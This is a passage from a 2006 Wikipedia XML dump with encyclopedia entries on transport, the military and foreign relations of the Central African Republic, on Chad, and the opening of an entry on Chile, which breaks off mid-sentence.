    <title>Transport in the Central African Republic</title>
    <id>5485</id>
    <revision>
      <id>37831763</id>
      <timestamp>2006-02-02T11:42:56Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
      <comment>moved [[Transportation in the Central African Republic]] to [[Transport in the Central African Republic]]: part of a series</comment>
      <text xml:space="preserve">{{CIA}}

'''Railways:'''
0 km

'''Highways:'''
&lt;br&gt;''total:''
23,810 km
&lt;br&gt;''paved:''
643 km
&lt;br&gt;''unpaved:''
23,167 km (1999 est.)

'''Waterways:'''
900 km; traditional trade carried on by means of shallow-draft dugouts; Oubangui is the most important river, navigable all year to craft drawing 0.6 m or less; 282 km navigable to craft drawing as much as 1.8 m

'''Ports and harbors:'''
[[Bangui]], [[Nola]], [[Salo]], [[Nzinga (CAR)|Nzinga]]

'''Airports:'''
50 (2002)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
3
&lt;br&gt;''2,438 to 3,047 m:''
1
&lt;br&gt;''1,524 to 2,437 m:''
2 (2002)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
47
&lt;br&gt;''2,438 to 3,047 m:''
1
&lt;br&gt;''1,524 to 2,437 m:''
10
&lt;br&gt;''914 to 1,523 m:''
23
&lt;br&gt;''under 914 m:''
under 914 m: 13 (2002)

:''See also :'' [[Central African Republic]]

{{Africa in topic|Transport in}}

[[Category:Central African Republic]]
[[Category:Transportation by country|Central African Republic]]</text>
    </revision>
  </page>
  <page>
    <title>Military of the Central African Republic</title>
    <id>5486</id>
    <revision>
      <id>25815239</id>
      <timestamp>2005-10-18T09:38:05Z</timestamp>
      <contributor>
        <ip>210.212.125.161</ip>
      </contributor>
      <text xml:space="preserve">The '''military of the Central African Republic''' ('''Forces armées centrafricaines''' or FACA), currently numbers at approximately 2,000, and military expenditures amount to 1.1% of the [[Gross domestic product|GDP]] of that nation.

Under military restructuring plans formulated 1999-2000, the civilian Minister of Defense controlled and directed all armed forces, including the Presidential Security Unit (UPS), which had previously been seen as a militia supporting the president. In April 2001, the C.A.R. armed forces numbered about 3,000, including army, navy, air force, gendarmerie, national police, Presidential Security Unit, and local police personnel. An estimated 1,200 members of the army and gendarmerie fled to the Democratic Republic of the Congo following the failed coup attempt of May 2001. 

Following the 2003 coup, [[Central African Economic and Monetary Community]] ([[CAEMC]]-Communauté Économique et Monétaire de l'Afrique Centrale) and C.A.R. armed forces assumed responsibility for securing the capital city. CEMAC forces currently total approximately 400 soldiers, which are supported by an additional 200 [[France|French]] soldiers. The C.A.R. armed forces number approximately 2,000. Working with the French, the C.A.R. military is attempting to provide professional training and decentralize its troops in an effort to combat road bandits, thievery, and poaching throughout the C.A.R. territory. 


'''Military branches:'''
Central African Armed Forces ([[FACA]]): Republican Guard, Ground Forces, Naval Forces, Air Force

'''Military manpower - availability:'''
&lt;br /&gt;''males aged 15-49:''
878,980 (2004 est.)

'''Military manpower - fit for military service:'''
&lt;br /&gt;''males aged 15-49:''
460,469 (2004 est.)

'''Military expenditures - dollar figure:'''
$15.5 million (2005)

'''Military expenditures - percent of GDP:'''
1% (2005)

==External links==
*[http://www.cia.gov/cia/publications/factbook/geos/ct.html CIA World Factbook]
*[http://www.state.gov/r/pa/ei/bgn/4007.htm US Department of State - Bureau of African Affairs: Background note]


{{CIA_WFB_2004}}

[[Category:Central African Republic]]
[[Category:Militaries|Central African Republic]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of the Central African Republic</title>
    <id>5487</id>
    <revision>
      <id>37154357</id>
      <timestamp>2006-01-29T01:59:51Z</timestamp>
      <contributor>
        <username>Wikiacc</username>
        <id>84893</id>
      </contributor>
      <minor />
      <comment>{{Africa in topic|Foreign relations of}}</comment>
      <text xml:space="preserve">{{Politics of the Central African Republic}}
The Central African Republic is an active member in several Central African organizations, including the Economic and Monetary Union ([[CEMAC]]), the [[Economic Community of Central African States]] ([[CEEAC]]), the [[Central African Peace and Security Council]] ([[COPAX]]--still under formation), and the [[Central Bank of Central African States]] ([[BEAC]]). Standardization of tax, customs, and security arrangements between the Central African states is a major foreign policy objective of the C.A.R. Government. President [[Ange-Félix Patassé]] also has manifested considerable interest in mediating conflicts in the region. The C.A.R. is a participant in the [[Community of Sahel-Saharan States]] ([[CEN-SAD]]), and the [[Organization of African Unity]] (OAU). [[Libya]] and, to a lesser degree, [[Sudan]] have shown increased interest in cooperation with the C.A.R. over the last year.

Outside of Africa, the C.A.R. maintains fairly close ties to [[France]], albeit considerably reduced from previous years. In the late 1990s, France withdrew its forces stationed in the C.A.R.; drops in its external assistance budget have reduced French military and social [[development aid]] to the country. Other multilateral organizations--including the [[World Bank]], [[International Monetary Fund]], [[UN]] agencies, [[European Union]], and the [[African Development Bank]]--and bilateral donors--including [[Germany]], [[Japan]], the [[European Union]], and the [[United States]]--are significant development partners for the C.A.R.

Nineteen countries have resident diplomatic representatives in [[Bangui]], and the C.A.R. maintains approximately the same number of missions abroad. Since early 1989 the government recognizes both [[Israel]] and the [[Palestinian state]]. The C.A.R. also maintains diplomatic relations with the [[People's Republic of China]]. The C.A.R. generally joins other African and developing country states in consensus positions on major policy issues.

'''Disputes - international:'''
none

:''See also :'' [[Central African Republic]]

{{Africa in topic|Foreign relations of}}

[[Category:Central African Republic]]
[[Category:Foreign relations by country|Central African Republic, Foreign affairs of]]</text>
    </revision>
  </page>
  <page>
    <title>Chad</title>
    <id>5488</id>
    <revision>
      <id>41797652</id>
      <timestamp>2006-03-01T20:44:27Z</timestamp>
      <contributor>
        <username>MJCdetroit</username>
        <id>627347</id>
      </contributor>
      <comment>Added Libya as bordering country and English measurements and Formating per [[WP:MOSNUM]]</comment>
      <text xml:space="preserve">{{OtherUses}}
{{Infobox_Country &lt;!-- If editing infobox, please update [[Template:Country infobox data Chad]] also --&gt; 
|native_name = Jumhuriyat Tashad&lt;br&gt;République du Tchad&lt;br&gt;Republic of Chad
|common_name = Chad
|image_flag = Flag of Chad.svg
|image_coat = Chad coa.jpg
|image_map = LocationChad.png
|national_motto = Unity - Work - Progress (French: Unité - Travail - Progrès)
|national_anthem = [[La Tchadienne]]
|official_languages = [[French language|French]]
|capital = [[N'Djamena]]
|latd=12 |latm=06 |latNS=N |longd=15 |longm=02 |longEW=E
|largest_city = [[N'Djamena]]
|government_type = [[Parliamentary democracy]]
|leader_titles = [[Heads of state of Chad|President]]&lt;br&gt;[[Prime Minister of Chad|Prime Minister]]
|leader_names = [[Idriss Déby]]&lt;br&gt;[[Pascal Yoadimnadji]]
|area_rank = 21st
|area_magnitude = 1 E12
|area= 1,284,000
|areami²= 495,755 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|percent_water = 1.9%
|population_estimate = 9,826,419
|population_estimate_rank = 82nd
|population_estimate_year = 2005
|population_census = 
|population_census_year = 
|population_density = 7
|population_densitymi² = 18 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|population_density_rank = 180th
|GDP_PPP = $12,835,000,000
|GDP_PPP_rank = 128th
|GDP_PPP_year= 2004
|GDP_PPP_per_capita = $1,555
|GDP_PPP_per_capita_rank = 160th
|sovereignty_type = [[History of Chad|Independence]]
|established_events = Recognized&lt;br&gt;Constitution
|established_dates = From [[France]]&lt;br&gt;[[August 11]], [[1960]]&lt;br&gt;[[March 31]], [[1996]]
|HDI = 0.341
|HDI_rank = 173rd
|HDI_year = 2003
|HDI_category = &lt;font color=&quot;#E0584E&quot;&gt;low&lt;/font&gt;
|currency = [[CFA franc]]
|currency_code = XAF
|country_code = TCD
|time_zone = 
|utc_offset = +1
|time_zone_DST = 
|utc_offset_DST = +2
|cctld = [[.td]]
|calling_code = 235
|footnotes = 
}}
The '''Republic of Chad''' ([[Arabic language|Arabic]]: تشاد , ''Tašād''; [[French language|French]]: ''Tchad'') is a [[landlocked]] country in [[central Africa]]. It borders [[Libya]] to the north, [[Sudan]] to the east, the [[Central African Republic]] to the south, [[Cameroon]] and [[Nigeria]] to the southwest and [[Niger]] to the west. Due to its distance from the sea and its largely [[desert]] climate, the country is sometimes referred to as the 'dead heart of Africa.' In the north, it contains the [[Tibesti Mountains]], the largest mountain chain in the [[Sahara desert]]. Formerly part of the [[Federation of French Equatorial Africa]], the country shares a relationship with [[Lake Chad]].

==History==
{{main|History of Chad}}

[[Image:Map of Aouzou stip chad.PNG|thumb|left|Libya claimed and occupied the [[Aozou Strip]] (blue) from 1976 to 1987]] The area that today is Chad was once inhabited by a group of politically disconnected tribes. Humanoid skulls and cave paintings of great antiquity have been found there. Gradually relatively weak local kingdoms developed; these were later overtaken by the larger but still completely African [[Kanem-Bornu Empire]].

Later, foreigners came to have more influence in Chad. Beginning in the [[Middle Ages]], Chad became a crossroads for Muslim traders and indigenous tribes. In [[1891]] Chad became a part of [[French colony|France's colonial system]]. 

In [[World War II|WWII]], Chad was the first [[France|French]] colony to join the Free French and the Allies, under the leadership of its Governor, [[Félix Éboué]]. In [[1960]], Chad became an independent country, with [[François (Ngarta) Tombalbaye|François Tombalbaye]] as its first president.

Chad's post-independence history has been marked by instability and violence stemming mostly from tensions between the mainly Arab-Muslim north and the predominantly Christian and animist south.

In 1969 Muslim dissatisfaction with President Tombalbaye - a Christian southerner - developed into a guerrilla war. This, combined with a severe drought, undermined his rule and, in 1975, President Tombalbaye was killed in a coup led by another southerner, [[Félix Malloum]]. Mr Malloum, too, failed to end the war, and in 1979 he was replaced by a Libyan-backed northerner, [[Goukouni Oueddei]].  

By this stage [[France]] and neighbouring [[Libya]] were intervening repeatedly  to support one side against another. The leader of the French-supported Northern rebel group [[FAN]] Forces Armées du Nord, [[Hissène Habré]], a former defence minister, became prime minister in [[1978]]. In [[1982]] he deposed President Oueddei, and assumed overall control of the state, abolishing the post of prime minister. His eight year reign led to immense political turmoil, with human rights organisations accusing him of having ordered the execution of thousands of political opponents and members of tribes thought hostile to his regime.

[[Libya]] invaded Chad in July [[1975]], theoretically to drive Habré from power. They occupied a narrow strip of land known as the [[Aouzou Strip]].
France and the United States responded by aiding Habré in an attempt to contain Libya's regional ambitions under [[Muammar al-Qaddafi]]. Civil war deepened. In December, [[1980]] Libya occupied all of northern Chad, but Habré defeated Libyan troops and drove them out in November, [[1981]]. In [[1983]], Qaddafi's troops occupied all of the country north of Koro Toro. The United States used a clandestine base in Chad to train captured Libyan soldiers, whom it tried to organize into an anti-Qaddafi force. Habré's aid from the USA and France helped him to win the war against Libya. The Libyan occupation of the north of Koro Toro ended when Habré defeated Qaddafi in [[1987]].

Despite this victory, Habré's government was weak and seemingly disliked by a majority of Chadians. He was deposed by Libyan-supported rebel leader [[Idriss Déby]] on [[December 1]], [[1990]]. Habré went into exile in Senegal. Déby installed himself as dictator. Soon after a constitution was written. Popular support for Déby was apparently shown in an election in May, [[2001]], where he defeated six other candidates with 67.3% of the vote. The election was described as being &quot;reasonably fair&quot;, although there were some noted irregularities.

In [[1998]] an armed insurgency began in the north, led by President Déby's former defence chief, [[Youssouf Togoimi]]. A Libyan-brokered peace deal in [[2002]] failed to put an end to the fighting.

In [[2003]] and [[2004]], unrest in neighbouring [[Sudan]]'s [[Darfur]] region spilled across the border, along with many thousands of refugees.  

On [[December 23]], [[2005]], Chad announced that it was in a [[Chad-Sudan conflict|&quot;state of war&quot; with Sudan]].[http://news.bbc.co.uk/2/hi/africa/4556576.stm]  [[The Organisation of the Islamic Conference]](OIC) has urged Sudan and Chad to exercise [[self-restraint]] to defuse growing tension between the two neighboring countries.[http://news.bbc.co.uk/2/hi/africa/4559254.stm]

On [[February 8]], [[2006]], Chad and Sudan signed the Tripoli Agreement, ending the Chad-Sudan conflict. This agreement prohibits either country from beginning media campaigns against one another, and also from interfering with the others internal affairs. [http://www.alertnet.org/thenews/newsdesk/L08583702.htm]

==Politics==
{{election chad}}

A strong executive branch headed by President Déby of the [[Patriotic Salvation Movement]] dominates the Chadian political system. Déby was elected constitutionally in [[1996]] and [[2001]], although international observers noted irregularities in the election process. The president of Chad was limited to two terms until Déby had that constitutional provision removed in [[2005]].  The president is elected by universal suffrage for those over 18. The president has the power to appoint the prime minister (re-instated after the removal of Habré) and the [[Council of State of Chad|Council of State]] (or cabinet), and exercises considerable influence over appointments of judges, generals, provincial officials and heads of Chad&amp;rsquo;s parastatal firms. Chad's legislative branch consists of a [[unicameral]] [[National Assembly of Chad|National Assembly]]. Its judicial branch consists of a [[Supreme Court of Chad|Supreme Court]], a [[Court of Appeal of Chad|Court of Appeal]], criminal courts, and magistrate courts.


==Subdivisions==
{{main|Subdivisions of Chad}}

Since 2002, Chad has been divided into 18 regions, each of which is made up of 2&amp;ndash;4 departments, although, in 2004, another round of redistricting took place, creating several new regions and prefectures.  Implementation of the new plan has been slow on the ground, however. The regions approximately correspond with [[Prefectures of Chad|14 prefectures]] which existed up to 1999.

Regions:
*[[Batha Region|Batha]]
*[[Borkou-Ennedi-Tibesti]]
*[[Chari-Baguirmi]]
*[[Guéra]]
*[[Hadjer-Lamis]]
*[[Kanem (region)|Kanem]]
*[[Lac Prefecture|Lac]]
*[[Logone Occidental]]
*[[Logone Oriental]]
*[[Mandoul]]
*[[Mayo-Kebbi East]] (previously part of [[Mayo-Kébbi Prefecture|Mayo-Kebbi]])
*[[Mayo-Kebbi West]] (previously part of Mayo-Kebbi)
*[[Moyen-Chari]]
*[[Ouaddaï]]
*[[Salamat ]]
*[[Tandjilé]]
*[[Wadi Fira]] (previously [[Biltine Prefecture|Biltine]])
*[[Ndjamena]]

==Geography==
[[Image:Cd-map.png|thumb|Map of Chad]]
{{main|Geography of Chad}}

Chad is a landlocked country in north central Africa measuring 1,284,000 [[square kilometer]]s (496,000&amp;nbsp;[[square mile|sq.&amp;nbsp;mi.]]) south of Libya. Chad has 5,968 [[kilometer]]s (3,708&amp;nbsp;[[mile|mi]]) of border against [[Cameroon]], the [[Central African Republic]], [[Libya]], [[Niger]], [[Nigeria]], and [[Sudan]]. Chad has four climatic zones: it has broad, arid plains in center, [[desert]] in north, dry [[mountain]]s in northwest, and tropical lowlands in south. Only 3% of Chad is [[arable land]] and none of it has [[permanent crop]]s. Environmental hazards in Chad include hot, dry, dusty [[harmattan]] winds occur in north, periodic [[drought]]s, and [[locust]] plagues. [[Lake Chad]], which is in Chad and Cameroon, was once the second-largest lake in Africa but has shrunk dramatically during the last few decades and is now down to less than 10% of its former size. The people of Chad are known as Chadian.

==Terrain==
{{main|Terrain of Chad}}

Chad’s terrain is dominated by the low-lying Chad Basin (elevation about 250 m&amp;nbsp;/&amp;nbsp;820 ft), which rises gradually to mountains and plateaus on the north, east, and south. In the east heights of more than 900 [[metre]]s (3,000&amp;nbsp;[[foot (unit of length)|ft]]) are attained in the Ennedi and Ouaddaï plateaus. The greatest elevations are reached in the Tibesti massif in the north, with a maximum height of 3,415 metres (11,204&amp;nbsp;ft) at Emi Koussi. The northern half of the republic lies in the Sahara. The only important rivers, the Logone and Chari (Shari), are located in the southwest and flow into Lake Chad. The lake doubles in size during the rainy season.

==Economy==
{{main|Economy of Chad}}

Chad's primarily [[agricultural]] economy is being boosted by major [[petroleum|oil]]field and pipeline developments that began in 2000. Over 80% of Chad's population continues to rely on [[subsistence farming]] and [[stock raising]] for its livelihood. Cotton, cattle, and [[gum arabic]] have, until recently, provided the bulk of Chad's export earnings, but Chad began to export oil in 2003 from three oilfields near [[Doba]].  It has been estimated that income from oil increased Chad's per capita GDP by 40% in [[2004]], and may double it in [[2005]].

Chad's economy has long been handicapped by its landlocked position, poor internal communications, high energy costs, scarce water resources and a history of instability. Until now, Chad has relied on foreign assistance and foreign capital for most public and private sector investment projects but oil income will transform government finances.

A consortium, led by [[ExxonMobil]] (US), and with the participation of [[Chevron Corporation|Chevron]] (US) and [[Petronas]] ([[Malaysia]]), invested $3.7 billion to develop oil reserves estimated at 1 billion barrels (0.2 km&amp;sup3;) in southern Chad, and Chad became an oil-producing country in [[2003]], with the completion of a pipeline (financed in part by the [[World Bank]]) linking its southern oilfields to terminals on the Atlantic coast via neighbouring [[Cameroon]]. Chad hopes to avoid the waste and corruption experienced in some other African oil-producing countries; as a condition of its assistance, the World Bank has insisted on a new law which requires that 80% of oil revenues will be spent on development projects.  However, in January 2006 the World Back suspended its loan program to Chad, in reaction to the Chadian decision to &quot;relax&quot; laws governing the spending of oil money.  Chad's response is that the World Bank is using Chad as a test subject for different management styles.

Provided stability is maintained, the outlook for Chad's economy is now better than it has ever been.  It is known that further reserves of oil exist within the country, in addition to the oilfields that are already being exploited.

==Demography==
{{main|Demographics of Chad}}

There are more than 200 ethnic groups in Chad. Those in the north and east are generally [[Muslim]]; most southerners are [[Christianity|Christian]]s or [[animist]]s, although such a north/south division glosses over the complex and nuanced tribal and religious relationships in Chad. Through their long religious and commercial relationships with [[Sudan]] and [[Egypt]], many of the peoples in Chad's eastern and central regions have become more or less [[Arab]]ized, speaking Chadian Arabic (see below) (although typically not literal Arabic) and engaging in many other Arab cultural practices as well. More than three-quarters of the Chadian population is rural.

==Culture==
{{main|Culture of Chad}}

Chad is a very culturally diverse nation. Among the manifestations of this diversity is the extremely large number of languages spoken there. Although the only official languages in Chad are [[Arabic language|Arabic]] and [[French language|French]], there are also more than 100 tribal languages spoken and a dialect of Arabic known as Chadian Arabic is the closest thing the country has to a national trade language.  Chadian Arabic is a mix of &quot;literal&quot; Arabic, French and local dialects.  It differs from the country's official language, literal Arabic, and, while literal Arabic speakers can often understand Chad Arabic, the inverse is not true.  Government schools are taught in the official languages, with French typically the language of instruction.  Few Chadians other than the educated/traveled elite speak literal Arabic.  

The largest ethnic group in Chad, the Christian/animist [[Sara people]]s living in the south, only makes up 20% of the population. In central Chad, people are mostly nomadic and pastoralist. The mountainous north has a sparse, mostly [[Muslim]] population of mixed backgrounds. Each society in Chad (smaller than the groups described above) has developed their own religion, music, and folklore. 

The largest Christian churches are the [[Roman Catholic Church]], the 
[[Assemblees Chretiennes du Tchad]], the [[Association of Baptist Churches of Chad|Eglise Baptiste du Tchad]] and the [[Eglises Evangeliques au Tchad]]. 

{{seealso|music of Chad}} [[List of African writers (by country)#Chad|List of writers from Chad]], [[Day (language)]]

==Miscellaneous topics==
*[[Association of Baptist Churches of Chad]]
*[[Communications in Chad]]
*[[Darfur conflict]]
*[[Foreign relations of Chad]]
*[[Holidays in Chad]]
*[[Islam in Chad]]
*[[Languages of Chad]]
*[[Military of Chad]]
*[[Transportation in Chad]]

==External links==
{{sisterlinks|Chad}}

===Government===
*[http://www.primature-tchad.com/ Official site of the government] (in French)

===News===
*[http://allafrica.com/chad/ AllAfrica.com - ''Chad''] news headline links
*[http://www.africatime.com/tchad/  News and links]

===Overviews===
*[http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1068700.stm BBC News Country Profile - ''Chad'']
*[http://www.cia.gov/cia/publications/factbook/geos/cd.html CIA World Factbook - ''Chad'']
* [http://www.state.gov/p/af/ci/cd/ US State Department - ''Chad''] includes Background Notes, Country Study and major reports
*[http://web.worldbank.org/WBSITE/EXTERNAL/COUNTRIES/AFRICAEXT/CHADEXTN/0,,menuPK:349901~pagePK:141132~piPK:141109~theSitePK:349862,00.html World Bank -- Chad Summary Data, Statistics &amp; Sources]
*[http://devdata.worldbank.org/external/CPProfile.asp?CCODE=TCD&amp;PTYPE=CP World Bank -- Chad Data Profile]

===Directories===
*[http://www.columbia.edu/cu/lweb/indiv/africa/cuvl/Chad.html Columbia University Libraries - ''Chad''] directory category of the WWW-VL
*[http://dmoz.org/Regional/Africa/Chad/ Open Directory Project - ''Chad''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/chad.html Stanford University - Africa South of the Sahara: ''Chad''] directory category
*[http://dir.yahoo.com/Regional/Countries/Chad/ Yahoo! - ''Chad''] directory category

===Tourism===
*{{wikitravel}}

===Other===
*[http://www.ryanspencerreed.com/ Ryan  Spencer Reed] photojournalist's images of Sudan's displaced in Eastern Chad

{{Africa}}

[[Category:Chad| ]]
[[Category:African Union member states]]
[[Category:Landlocked countries]]

[[am:ቻድ]]
[[ang:Chad]]
[[ar:تشاد]]
[[an:Chad]]
[[ast:Chad]]
[[bg:Чад]]
[[zh-min-nan:Tchad]]
[[bn:চাদ]]
[[bs:Čad]]
[[ca:Txad]]
[[cs:Čad]]
[[da:Tchad]]
[[de:Tschad]]
[[et:Tšaad]]
[[el:Τσαντ]]
[[es:Chad]]
[[eo:Ĉado]]
[[eu:Txad]]
[[fr:Tchad]]
[[gl:Chad - Tchad]]
[[ko:차드]]
[[ht:Tchad]]
[[hr:Čad]]
[[io:Chad]]
[[id:Chad]]
[[ia:Tchad]]
[[is:Tsjad]]
[[it:Ciad]]
[[he:צ'אד]]
[[sw:Chad]]
[[ku:Çad]]
[[la:Tzadia]]
[[lv:Čada]]
[[lt:Čadas]]
[[hu:Csád]]
[[ms:Chad]]
[[na:Chad]]
[[nl:Tsjaad]]
[[nds:Tschad]]
[[ja:チャド]]
[[no:Tsjad]]
[[nn:Tsjad]]
[[pl:Czad (państwo)]]
[[pt:Chade]]
[[ro:Ciad]]
[[rm:Tschad]]
[[ru:Чад]]
[[sco:Chad]]
[[sq:Çadi]]
[[scn:Ciad]]
[[simple:Chad]]
[[sk:Čad]]
[[sl:Čad]]
[[sr:Чад]]
[[fi:Tšad]]
[[sv:Tchad]]
[[tl:Chad]]
[[th:สาธารณรัฐชาด]]
[[tr:Çad]]
[[uk:Чад]]
[[zh:乍得]]</text>
    </revision>
  </page>
  <page>
    <title>Chile</title>
    <id>5489</id>
    <revision>
      <id>42141616</id>
      <timestamp>2006-03-04T02:24:21Z</timestamp>
      <contributor>
        <ip>24.247.100.116</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses4|the country in South America|the spicy fruit of the plant ''Capsicum''|Chile pepper}}
{{Infobox Country |&lt;!-- If editing infobox, please update [[Template:Country infox data Chile]] also --&gt;
native_name = República de Chile|
common_name = Chile |
image_flag = Flag of Chile.svg |
image_coat = Chile COA.jpg |
image_map = LocationChile.png |
national_motto = ''Por la Razón o la Fuerza''&lt;br&gt;([[Spanish language|Spanish]]: &quot;By right or might&quot;) |
national_anthem = ''[[National anthem of Chile|Himno Nacional]]'' |
official_languages = [[Spanish language|Spanish]] |
capital = [[Santiago, Chile|Santiago]]&lt;sup&gt;1&lt;/sup&gt; |
latd=33|latm=26|latNS=S|longd=70|longm=40|longEW=W|
government_type = [[Republic|Democratic republic]] |
leader_titles = • [[President of Chile|President]] |
leader_names = [[Ricardo Lagos]] |
largest_city = [[Santiago, Chile|Santiago]] |
area = 756,950 |
areami² = 292,183 |&lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
area_rank = 38th |
area_magnitude = 1 E11 |
percent_water = 1.07%&lt;sup&gt;2&lt;/sup&gt; |
population_estimate = 16,136,137 |
population_estimate_year = June 2005 |
population_estimate_rank = 60th |
population_census = 15,116,435 |
population_census_year = 2002 |
population_density = 21 |
population_densitymi² = 54 |&lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
population_density_rank = 153rd |
HDI = 0.854 |
HDI_rank = 37th |
GDP_PPP_year = 2005 |
GDP_PPP = $180.6 billion |
GDP_PPP_rank = 46th |
GDP_PPP_per_capita = $11,300 |
GDP_PPP_per_capita_rank = 59th |
GDP_year = 2005 |
GDP = 120,500 million |
GDP_per_capita = $7,300 |
Exports_2005 = 39.536,07 US$ |
Imports_2005 = 30.300,13 US$ |
HDI_year = 2003 |
HDI = 0.854 |
HDI_rank = 37th |
HDI_category = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt; |
sovereignty_type = [[History of Chile|Independence]] |
established_events = • Initiated&lt;br&gt; • Declared &lt;br&gt; • Recognized |
established_dates = From [[Spain]]&lt;br&gt;[[September 18]], [[1810]]&lt;br&gt;[[February 12]], [[1818]]&lt;br&gt;[[April 25]] [[1844]] |
currency = [[Chilean peso|Peso]] |
currency_code = CLP |
time_zone = — |
utc_offset = -4 |
time_zone_DST = — |
utc_offset_DST = -3 |
cctld = [[.cl]] |
calling_code = 56 |
footnotes = &lt;sup&gt;1&lt;/sup&gt; The [[Politics_of_Chile#Legislative branch|legislative body]] operates in [[Valparaíso]]&lt;br&gt;&lt;sup&gt;2&lt;/sup&gt; Includes [[Easter Island]] and [[Isla Sala y Gómez]]; does not include 1,250,000 km² of claimed territory in [[Antarctica]]
}}The '''Republic of Chile''' ([[Spanish language|Spanish]]: ''{{Audio|RepChile.ogg|República de Chile}}'', [[International Phonetic Alphabet|IPA]]: {{IPA|[re'puβlika ðe 'tʄile]}}) is a country in [[South America]] occupying a long coastal strip between the [[Andes]] mountains and the [[Pacific Ocean]]. It borders [[Argentina]] to the east, [[Bolivia]] to the northeast and [[Peru]] to the north.
==Origin of the name==

There are various theories about the origin of the word ''Chile.'' According to one theory the [[Inca]]s of Peru, who had failed to conquer the [[Araucanian]]s, called the valley of the [[Aconcagua]] &quot;Chili&quot; by corruption of the name of a [[tribal chief]] (&quot;cacique&quot;) called ''Tili'', who ruled the area at the time of the Incan conquest. Another theory points to the similarity of the valley of the Aconcagua with that of the [[Casma Valley]] in Peru, where there was a town and valley named ''Chili.'' Other theories say Chile may derive its name from the indigenous Mapuche word ''chilli,'' which may mean &quot;where the land ends&quot; or &quot;the deepest point of the Earth,&quot; or from the Aymara ''tchili'' meaning &quot;snow&quot;; another meaning attributed to ''chilli'' is the onomatopoeic ''cheele-cheele''—the Mapuche imitation of a bird call. The Spanish conquistadors heard about this name from the Incas and the few survivors of [[Diego de Almagro]]'s first Spanish expedition south from Peru in 1535-1536 called themselves the &quot;men of Chilli.&quot;

== History ==
{{main|History of Chile}}

About 10,000 years ago, migrating [[Indigenous Peoples of the Americas|Native Americans]] settled in fertile valleys and along the coast of what is now Chile. The [[Inca]]s briefly extended their empire into what is now northern Chile, but the area's remoteness and the fierce opposition of the native population prevented extensive settlement.

[[Image:Pedro de Valdivia.jpg|thumb|left|Pedro de Valdivia]]

In [[1520]], while attempting to circumnavigate the earth, the Portuguese [[Ferdinand Magellan]], discovered the southern passage now named after him, the [[Straits of Magellan]].  The next Europeans to reach Chile were [[Diego de Almagro]] and his band of Spanish [[conquistador]]s, who came from Peru in 1535 seeking [[gold]] but were turned back by the local population. The Spanish encountered hundreds of thousands of Indians from various cultures in the area that modern Chile now occupies. These cultures supported themselves principally through slash-and-burn [[agriculture]] and [[hunting]]. The first permanent European settlement, [[Santiago, Chile|Santiago]], was founded in [[1541]] by [[Pedro de Valdivia]], one of [[Francisco Pizarro]]'s lieutenants. Although the Spanish did not find the extensive gold and [[silver]] they sought, they recognized the agricultural potential of Chile's central valley, and Chile became part of the [[Viceroyalty of Peru]].

Conquest of the land that is today called Chile took place only gradually, and the Europeans suffered repeated setbacks at the hands of the local population. A massive [[Mapuche]] insurrection that began in [[1553]] resulted in Valdivia's death and the destruction of many of the colony's principal settlements. Subsequent major insurrections took place in [[1598]] and in [[1655]].  Each time the Mapuche and other native groups revolted, the southern border of the colony was driven northward. The abolition of [[slavery]] in [[1683]] defused tensions on the frontier between the colony and the Mapuche land to the south, and permitted increased trade between colonists and Mapuches.

The drive for independence from Spain was precipitated by usurpation of the [[Spanish monarchy|Spanish throne]] by [[Napoleon]]'s brother Joseph, in [[1808]]. A national junta in the name of Ferdinand—heir to the deposed king—was formed on [[September 18]], [[1810]]. The [[junta]] proclaimed Chile an autonomous republic within the Spanish [[monarchy]]. A movement for total independence soon won a wide following.  Spanish attempts to reimpose arbitrary rule during what was called the [[Reconquista]] led to a prolonged struggle.[[Image:Ohiggins.jpg|thumb|Bernardo O'Higgins]]

The movement toward independence began in 1810 under the leadership of Juan Martínez de Rozas and [[Bernardo O'Higgins]]. The first phase (1810–14) ended in defeat at Rancagua, largely because of the rivalry of O'Higgins with José Miguel Carrera and his brothers. In 1817, José de San Martín, with incredible hardship, brought an army over the Andes from Argentina to Chile. The following year he won the decisive battle of Maipú over the Spaniards.

Toward the end of the 19th century, the government in Santiago consolidated its position in the south by ruthlessly suppressing the [[Mapuche]] Indians, finally completing the conquest begun more than three centuries earlier. In [[1881]], the government signed a treaty with Argentina confirming Chilean sovereignty over the [[Strait of Magellan]]. As a result of the [[War of the Pacific]] with Peru and Bolivia ([[1879]]–[[1883|83]]), Chile expanded its territory northward by almost one-third, eliminating Bolivia's access to the Pacific, and acquired valuable nitrate deposits, the exploitation of which led to an era of national affluence.  The [[Chilean Civil War]] in [[1891]] brought about a redistribution of power between the President and Congress, and Chile established a parliamentary style democracy. However, the Civil War had also been a contest between those who favored the development of local industries and powerful Chilean banking interests, particularly the House of Edwards who had strong ties to foreign investors. Hence the Chilean economy partially degenerated into a system protecting the interests of a ruling [[oligarchy]]. By the [[1920s]], the emerging middle and [[working class]]es were powerful enough to elect a reformist president, [[Arturo Alessandri Palma]], whose program was frustrated by a conservative congress. Alessandri Palma's reformist tendencies were partly tempered later by an admiration for some elements of [[Mussolini]]'s Italian Corporate State. In the 1920s, [[Marxism|Marxist]] groups with strong popular support arose.

A military coup led by General [[Luis Altamirano]] in [[1924]] set off a period of great political instability that lasted until [[1932]]. The longest lasting of the ten governments between those years was that of General [[Carlos Ibáñez]], who briefly held power in [[1925]] and then again between [[1927]] and [[1931]] in what was a de facto dictatorship, although not really comparable in harshness or corruption to the type of military dictatorship that has often bedeviled the rest of [[Latin America]], and certainly not comparable to the violent and repressive regime of [[Augusto Pinochet]] decades later. By relinquishing power to a democratically elected successor, Ibáñez del Campo retained the respect of a large enough segment of the population to remain a viable politician for more than thirty years, in spite of the vague and shifting nature of his ideology.  When constitutional rule was restored in [[1932]], a strong middle-class party, the Radicals, emerged. It became the key force in coalition governments for the next 20 years.  During the period of [[Radical Party]] dominance (1932–52), the state increased its role in the economy. In 1952, voters returned Ibáñez, now reincarnated as a sort of Chilean 